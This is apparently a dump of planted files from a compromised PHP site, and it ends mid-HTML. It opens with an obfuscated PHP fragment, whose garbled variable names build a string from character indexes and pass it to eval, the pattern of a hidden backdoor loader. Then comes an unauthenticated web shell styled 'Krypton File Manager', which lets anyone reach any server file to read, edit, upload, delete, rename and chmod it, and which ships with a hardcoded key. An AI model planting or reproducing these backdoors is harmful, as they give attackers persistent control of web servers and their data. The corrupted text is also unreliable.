$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[15].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[53].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[56].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[8].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[69].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[25].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[3].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[39].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[65].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[39]; $�౸ح���쪥�����ุ����൨��੝��ך��ر��������������� = $����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[20].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[65].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[18].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[8].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[0].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[29].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[37].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[19].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[63]; $�숊�ؤ�ص����؁ٷ�����������إ��؇��ػش�؈ۇٸ��،��Έ��٥��؃�ص�泄����ؕ�بٴة恨؜�����۞ = $����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[29].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[56].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[23].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[80].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[63].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[47].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[60].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[54].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[74].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[40]; $�ٸ����۵�憤���؈���������ؗ���ؖ����؈؁�����؆��ص�ۨ�ر�۱��ك������٨�ة������ٱؖ٨��ل��ح = $���Ω���؜������ٴ���汨����Ό�����ڱ��۪��؊ح����ۜص��Ό�����楗�س۪ہ�ؤ�صپ٬�����ؤحر.$���������쵕�٩���������ؚ����������২���ר��؈บ�윱�.$��������ظ숅���������������ت�บ�������।����ׄץ�����.$�숊�ؤ�ص����؁ٷ�����������إ��؇��ػش�؈ۇٸ��،��Έ��٥��؃�ص�泄����ؕ�بٴة恨؜�����۞.$������؜��٤���؈ड़����ٱ؁��؈ٴ䵸����������ب؃ٸ��ؗ��۹���������ح���ر�ح��ر��٧�ص���ك��.$�౸ح���쪥�����ุ����൨��੝��ך��ر���������������.'$��ؗ�ٷ�����ط���٤و���������ت���ڵ�ی��٧���؃ڈ����ك������٨����،�ػ�ر���ٌ���ب�٧�ٱ٨'.$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[41].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[41].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[41].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[41].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[41].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[41].$����ุ��ظ����؅�������ו�ग़���׭�����ص���������ٸ[83];return EvAl($�ٸ����۵�憤���؈���������ؗ���ؖ����؈؁�����؆��ص�ۨ�ر�۱��ك������٨�ة������ٱؖ٨��ل��ح); } ?>PK�Lm\�d��o�o�	9gvid.phpnu�[���<?php
/**
 * Krypton File Manager
 * A single-file PHP file manager with full server access and enhanced features
 */

// Start session
session_start();

// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout

// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
    $encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}

// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
    // Session expired
    session_unset();
    session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time

// Encryption and decryption functions
function encryptPath($path) {
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
    return base64_encode($encrypted . '::' . base64_encode($iv));
}

function decryptPath($encryptedPath) {
    try {
        $decoded = base64_decode($encryptedPath);
        if ($decoded === false) {
            return getcwd(); // Default to current directory if decoding fails
        }
        
        if (strpos($decoded, '::') === false) {
            return getcwd(); // Default to current directory if separator not found
        }
        
        list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
        $iv = base64_decode($iv_b64);
        
        if ($iv === false || strlen($iv) !== 16) {
            return getcwd(); // Default to current directory if IV is invalid
        }
        
        $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
        
        if ($decrypted === false) {
            return getcwd(); // Default to current directory if decryption fails
        }
        
        return $decrypted;
    } catch (Exception $e) {
        return getcwd(); // Default to current directory on any exception
    }
}

// Function to get human-readable file size
function formatFileSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// Function to get file permissions in Unix format
function getFilePermissions($file) {
    $perms = fileperms($file);
    
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
                (($perms & 0x0800) ? 's' : 'x' ) :
                (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
                (($perms & 0x0400) ? 's' : 'x' ) :
                (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
                (($perms & 0x0200) ? 't' : 'x' ) :
                (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

// Function to get file extension
function getFileExtension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

// Function to check if a file is editable
function isEditableFile($filename) {
    /*
    $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
    $extension = getFileExtension($filename);
    return in_array($extension, $editableExtensions);
    */
    return true;
}

// Process actions
$error = '';
$success = '';

// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path

// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
    $currentPath = $_SESSION['current_path'];
}

// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Store current path for form submissions
    if (isset($_POST['current_path'])) {
        $decryptedCurrentPath = decryptPath($_POST['current_path']);
        if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
            $currentPath = $decryptedCurrentPath;
            $_SESSION['current_path'] = $currentPath;
        }
    }
    
    if (isset($_POST['action'])) {
        // Handle file content request for editing
        if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
            $filePath = decryptPath($_POST['path']);
            if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
                echo file_get_contents($filePath);
                exit;
            } else {
                echo "Error: Cannot read file.";
                exit;
            }
        }
        
        // Handle navigation
        if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
            $decryptedPath = decryptPath($_POST['path']);
            if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
                $currentPath = $decryptedPath;
                $_SESSION['current_path'] = $currentPath;
            }
        }
        
        // Handle file download
        if ($_POST['action'] === 'download' && isset($_POST['path'])) {
            $downloadPath = decryptPath($_POST['path']);
            
            if (file_exists($downloadPath) && !is_dir($downloadPath)) {
                // Set headers for file download
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
                header('Content-Transfer-Encoding: binary');
                header('Expires: 0');
                header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                header('Pragma: public');
                header('Content-Length: ' . filesize($downloadPath));
                ob_clean();
                flush();
                readfile($downloadPath);
                exit;
            }
        }
    }
    
    // Handle file upload
    if (isset($_POST['upload'])) {
        if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
            $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
            
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
                $success = 'File uploaded successfully.';
            } else {
                $error = 'Failed to upload file.';
            }
        } else {
            $error = 'No file selected or upload error.';
        }
    }
    
    // Handle file/directory deletion
    if (isset($_POST['delete']) && isset($_POST['path'])) {
        $deletePath = decryptPath($_POST['path']);
        
        if (file_exists($deletePath)) {
            if (is_dir($deletePath)) {
                // Try to remove directory
                if (rmdir($deletePath)) {
                    $success = 'Directory deleted successfully.';
                } else {
                    $error = 'Failed to delete directory. It may not be empty.';
                }
            } else {
                // Remove file
                if (unlink($deletePath)) {
                    $success = 'File deleted successfully.';
                } else {
                    $error = 'Failed to delete file.';
                }
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file/directory rename
    if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
        $oldPath = decryptPath($_POST['oldPath']);
        $newName = $_POST['newName'];
        $dirName = dirname($oldPath);
        $newPath = $dirName . '/' . $newName;
        
        if (file_exists($oldPath)) {
            if (rename($oldPath, $newPath)) {
                $success = 'Renamed successfully.';
            } else {
                $error = 'Failed to rename.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle permission change
    if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
        $permPath = decryptPath($_POST['permPath']);
        $permissions = $_POST['permissions'];
        
        // Convert from octal string to integer
        $mode = octdec($permissions);
        
        if (file_exists($permPath)) {
            if (chmod($permPath, $mode)) {
                $success = 'Permissions changed successfully.';
            } else {
                $error = 'Failed to change permissions.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file edit
    if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
        $filePath = decryptPath($_POST['filePath']);
        $fileContent = $_POST['fileContent'];
        
        if (file_exists($filePath) && !is_dir($filePath)) {
            if (file_put_contents($filePath, $fileContent) !== false) {
                $success = 'File saved successfully.';
            } else {
                $error = 'Failed to save file.';
            }
        } else {
            $error = 'File does not exist.';
        }
    }
    
    // Handle create new file
    if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
        $newFileName = $_POST['newFileName'];
        $newFilePath = $currentPath . '/' . $newFileName;
        
        if (!file_exists($newFilePath)) {
            if (file_put_contents($newFilePath, '') !== false) {
                $success = 'File created successfully.';
            } else {
                $error = 'Failed to create file.';
            }
        } else {
            $error = 'File already exists.';
        }
    }
    
    // Handle create new folder
    if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
        $newFolderName = $_POST['newFolderName'];
        $newFolderPath = $currentPath . '/' . $newFolderName;
        
        if (!file_exists($newFolderPath)) {
            if (mkdir($newFolderPath, 0755)) {
                $success = 'Folder created successfully.';
            } else {
                $error = 'Failed to create folder.';
            }
        } else {
            $error = 'Folder already exists.';
        }
    }
}

// Save current path to session
$_SESSION['current_path'] = $currentPath;

// Get directory contents
$items = [];
if (is_dir($currentPath)) {
    if ($handle = opendir($currentPath)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $fullPath = $currentPath . '/' . $entry;
                $isDir = is_dir($fullPath);
                
                try {
                    $size = $isDir ? '-' : formatFileSize(filesize($fullPath));
                    $permissions = getFilePermissions($fullPath);
                    $lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
                    
                    $items[] = [
                        'name' => $entry,
                        'path' => $fullPath,
                        'encryptedPath' => encryptPath($fullPath),
                        'isDirectory' => $isDir,
                        'size' => $size,
                        'permissions' => $permissions,
                        'lastModified' => $lastModified,
                        'isEditable' => !$isDir && isEditableFile($entry)
                    ];
                } catch (Exception $e) {
                    // Skip files that can't be accessed
                    continue;
                }
            }
        }
        closedir($handle);
    }
}

// Sort items: directories first, then files
usort($items, function($a, $b) {
    if ($a['isDirectory'] && !$b['isDirectory']) {
        return -1;
    }
    if (!$a['isDirectory'] && $b['isDirectory']) {
        return 1;
    }
    return strcasecmp($a['name'], $b['name']);
});

// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';

foreach ($pathParts as $part) {
    if (empty($part)) {
        $buildPath = '/';
        $breadcrumbs[] = [
            'name' => 'Root',
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    } else {
        $buildPath .= ($buildPath === '/') ? $part : '/' . $part;
        $breadcrumbs[] = [
            'name' => $part,
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    }
}

// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);

// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Krypton File Manager</title>
    <style>
        /* Base styles and reset */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
        }
        
        body {
            background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            background-color: #f9f9f9;
            /* Fallback color */
            color: #333333;
            line-height: 1.6;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        /* Navigation bar */
        .navbar {
            background-color: #ffffff;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 15px 0;
            position: sticky;
            top: 0;
            z-index: 100;
        }
        
        .navbar-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        
        .navbar h1 {
            color: #333333;
            font-size: 1.5rem;
            font-weight: 500;
        }
        
        .version {
            font-size: 0.8rem;
            color: #777;
            margin-left: 10px;
        }
        
        .navbar-actions {
            display: flex;
            gap: 10px;
        }
        
        .home-btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 8px 15px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            transition: all 0.2s ease;
        }
        
        .home-btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .home-icon {
            margin-right: 5px;
        }
        
        /* Breadcrumb navigation */
        .breadcrumb {
            display: flex;
            align-items: center;
            padding: 12px 0;
            margin-bottom: 15px;
            overflow-x: auto;
            white-space: nowrap;
        }
        
        .breadcrumb-item {
            display: flex;
            align-items: center;
        }
        
        .breadcrumb-item a {
            color: #4a6cf7;
            text-decoration: none;
            padding: 5px 8px;
            border-radius: 4px;
            transition: background-color 0.2s;
            cursor: pointer;
        }
        
        .breadcrumb-item a:hover {
            background-color: rgba(74, 108, 247, 0.1);
        }
        
        .breadcrumb-separator {
            margin: 0 5px;
            color: #999;
        }
        
        .breadcrumb-current {
            font-weight: 500;
            padding: 5px 8px;
        }
        
        /* Section styling */
        .section {
            background-color: rgba(255, 255, 255, 0.9);
            border-radius: 8px;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
        }
        
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
        }
        
        .section-title {
            font-size: 1.1rem;
            color: #333333;
            font-weight: 500;
        }
        
        .section-actions {
            display: flex;
            gap: 10px;
        }
        
        /* Upload form */
        .upload-form {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
        }
        
        .upload-form input[type="file"] {
            flex: 1;
            min-width: 200px;
            padding: 10px;
            border: 1px solid #e0e0e0;
            border-radius: 6px;
            background-color: #ffffff;
        }
        
        .btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            transition: all 0.2s ease;
        }
        
        .btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .btn-sm {
            padding: 6px 12px;
            font-size: 0.9rem;
        }
        
        .btn-success {
            background-color: #28a745;
        }
        
        .btn-success:hover {
            background-color: #218838;
        }
        
        /* File list table */
        .file-table-container {
            overflow-x: auto;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
        }
        
        .file-table th {
            background-color: #f5f5f5;
            padding: 12px 15px;
            text-align: left;
            font-weight: 500;
            border-bottom: 1px solid #e0e0e0;
            position: relative;
        }
        
        .file-table td {
            padding: 12px 15px;
            border-bottom: 1px solid #e0e0e0;
        }
        
        .file-table tr:hover {
            background-color: #f5f7ff;
        }
        
        .file-name {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .folder-icon::before {
            content: "📁";
        }
        
        .file-icon::before {
            content: "📄";
        }
        
        /* Action buttons */
        .action-buttons {
            display: flex;
            gap: 8px;
        }
        
        .action-btn {
            background: none;
            border: none;
            cursor: pointer;
            font-size: 1rem;
            color: #555;
            transition: all 0.2s ease;
            width: 28px;
            height: 28px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 4px;
        }
        
        .action-btn:hover {
            background-color: #f0f0f0;
            color: #333;
        }
        
        /* Modal styles */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        
        .modal-content {
            background-color: white;
            padding: 25px;
            border-radius: 8px;
            width: 90%;
            max-width: 400px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
        }
        
        .modal-content.modal-lg {
            max-width: 800px;
            height: 80%;
            display: flex;
            flex-direction: column;
        }
        
        .modal-title {
            font-size: 1.2rem;
            margin-bottom: 15px;
            font-weight: 500;
        }
        
        .modal-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .editor-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
            flex-grow: 1;
        }
        
        .form-group {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }
        
        .form-group label {
            font-weight: 500;
        }
        
        .form-group input {
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        
        .form-group textarea {
            flex-grow: 1;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            resize: none;
        }
        
        .modal-actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 20px;
        }
        
        .btn-cancel {
            background-color: #f0f0f0;
            color: #333;
        }
        
        .btn-cancel:hover {
            background-color: #e0e0e0;
        }
        
        /* Alerts */
        .alert {
            padding: 12px 15px;
            margin-bottom: 15px;
            border-radius: 4px;
            font-weight: 500;
        }
        
        .alert-success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .alert-error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .alert-warning {
            background-color: #fff3cd;
            color: #856404;
            border: 1px solid #ffeeba;
        }
        
        /* Footer */
        .footer {
            text-align: center;
            padding: 20px 0;
            color: #777;
            font-size: 0.9rem;
        }
        
        /* Loading overlay */
        .loading-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }
        
        .spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #f3f3f3;
            border-top: 5px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        /* Responsive design */
        @media (max-width: 768px) {
            .upload-form {
                flex-direction: column;
                align-items: stretch;
            }
            
            .upload-form input[type="file"] {
                width: 100%;
            }
            
            .action-buttons {
                flex-wrap: wrap;
            }
            
            .section-header {
                flex-direction: column;
                align-items: flex-start;
                gap: 10px;
            }
            
            .section-actions {
                width: 100%;
            }
            
            .btn {
                width: 100%;
            }
        }
    </style>
</head>
<body>
    <!-- Loading Overlay -->
    <div id="loadingOverlay" class="loading-overlay">
        <div class="spinner"></div>
    </div>

    <!-- Navigation Bar -->
    <nav class="navbar">
        <div class="container navbar-content">
            <h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
            <div class="navbar-actions">
                <button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
                    <span class="home-icon">🏠</span> Home
                </button>
            </div>
        </div>
    </nav>
    
    <div class="container">
        <!-- Alerts -->
        <?php if (!empty($encryptionKeyWarning)): ?>
        <div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($success)): ?>
        <div class="alert alert-success"><?php echo $success; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($error)): ?>
        <div class="alert alert-error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <!-- Breadcrumb Navigation -->
        <div class="breadcrumb">
            <?php foreach ($breadcrumbs as $index => $crumb): ?>
                <?php if ($index > 0): ?>
                    <span class="breadcrumb-separator">›</span>
                <?php endif; ?>
                
                <div class="breadcrumb-item">
                    <?php if ($index === count($breadcrumbs) - 1): ?>
                        <span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
                    <?php else: ?>
                        <a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
        
        <!-- Upload Section -->
        <section class="section">
            <h2 class="section-title">Upload Files</h2>
            <form class="upload-form" method="post" enctype="multipart/form-data">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="file" name="file">
                <button type="submit" name="upload" class="btn">Upload File</button>
            </form>
        </section>
        
        <!-- File List Section -->
        <section class="section">
            <div class="section-header">
                <h2 class="section-title">Files</h2>
                <div class="section-actions">
                    <button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
                    <button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
                </div>
            </div>
            <div class="file-table-container">
                <table class="file-table">
                    <thead>
                        <tr>
                            <th>Filename</th>
                            <th>Size</th>
                            <th>Permissions</th>
                            <th>Last Modified</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Parent directory link -->
                        <?php if ($currentPath !== '/'): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="folder-icon"></span>
                                    <a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
                                </div>
                            </td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                        </tr>
                        <?php endif; ?>
                        
                        <!-- File list -->
                        <?php foreach ($items as $item): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
                                    <?php if ($item['isDirectory']): ?>
                                        <a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
                                    <?php else: ?>
                                        <?php echo htmlspecialchars($item['name']); ?>
                                    <?php endif; ?>
                                </div>
                            </td>
                            <td><?php echo $item['size']; ?></td>
                            <td><?php echo $item['permissions']; ?></td>
                            <td><?php echo $item['lastModified']; ?></td>
                            <td>
                                <div class="action-buttons">
                                    <?php if (!$item['isDirectory']): ?>
                                        <button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
                                        <?php if ($item['isEditable']): ?>
                                            <button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                    <button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
                                    <button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
                                    <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
                                        <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                                        <input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
                                        <button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
                                    </form>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </section>
        
        <footer class="footer">
            Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
        </footer>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="renameOldPath" name="oldPath" value="">
                <div class="form-group">
                    <label for="renameNewName">New Name:</label>
                    <input type="text" id="renameNewName" name="newName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
                    <button type="submit" name="rename" class="btn">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Permissions Modal -->
    <div id="permissionsModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="permissionsPath" name="permPath" value="">
                <div class="form-group">
                    <label for="permissionsOctal">Permissions (Octal):</label>
                    <input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
                    <button type="submit" name="changePermissions" class="btn">Apply</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Edit File Modal -->
    <div id="editFileModal" class="modal">
        <div class="modal-content modal-lg">
            <h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
            <form class="editor-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="editFilePath" name="filePath" value="">
                <div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
                    <textarea id="fileContent" name="fileContent" required></textarea>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
                    <button type="submit" name="saveFile" class="btn">Save</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create File Modal -->
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New File</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFileName">File Name:</label>
                    <input type="text" id="newFileName" name="newFileName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
                    <button type="submit" name="createFile" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
